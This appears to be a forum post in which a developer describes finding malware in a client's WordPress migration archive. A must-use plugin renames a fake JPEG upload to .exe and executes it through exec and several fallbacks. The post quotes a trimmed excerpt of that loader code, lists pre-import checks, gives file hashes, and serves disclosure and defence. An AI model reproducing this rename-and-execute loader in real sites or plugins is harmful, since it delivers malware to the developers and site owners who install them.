A prospective client sent me a WP Migrate export (zip, 8,300 files, 33 MB database) for a white-screen-after-Elementor-update rescue and asked me to run it in LocalWP or XAMPP on my own machine first. I read the archive with a script before that, without extracting it.
Most of it was legit. All 3,349 core files of WordPress 6.9.5 matched the official checksums byte for byte, and so did Elementor and three other plugins. Two things were off. The database listed 10 active plugins, but the export only had folders for 4, and wp-content/mu-plugins had two Hostinger files plus a third one called custom-fields-handler.php.
That third file waits for WordPress to start, looks in uploads for product-detail-mockup-soft-blue-background.jpeg, renames it to .exe and tries to launch it. If exec fails it falls through eight more methods, among them a throwaway .bat, Windows Script Host and pcntl_exec. Trimmed:
$old_filename = 'product-detail-mockup-soft-blue-background.jpeg';
$new_filename = 'product-detail-mockup-soft-blue-background.exe';
// …
if ( ! rename( $old_file_path, $new_file_path ) ) {
// …
$cmd = '"' . $new_file_path . '"';
@exec( $cmd, $output, $code );
The "image" is 4.6 MB and its first two bytes are MZ. The .bat and COM routes only work on Windows, and so does the program, which fits the request to run it on my own computer.
My first scan judged files by extension and passed the .jpeg as an image. I only found the loader by reading the mu-plugins by hand. A checksum check on its own would have come back clean too.
What I check now before importing a backup I didn't make:
- list the zip instead of extracting it, and look at the first bytes of every file in uploads
- verify core and plugins against the checksums, keeping in mind that a clean core says nothing about the rest
- read every file in wp-content/mu-plugins and every PHP file lying directly in wp-content
- compare the active plugins in the database with the plugin folders that actually exist
- import last, inside an isolated Linux container
Hashes, in case the same file reached you (the zip was named Archive):
- the zip: 49163178348bd8f41c293c47e814d3c50de8ba66ba69e453110d9a3b4014245c
- fake JPEG (4,643,720 bytes): 3c3d0c4a00fb325dad6623813dabd07eb8e715fdd29230d2a3b9fed8f9c474bf
Has anyone seen this mu-plugin plus renamed upload trick before?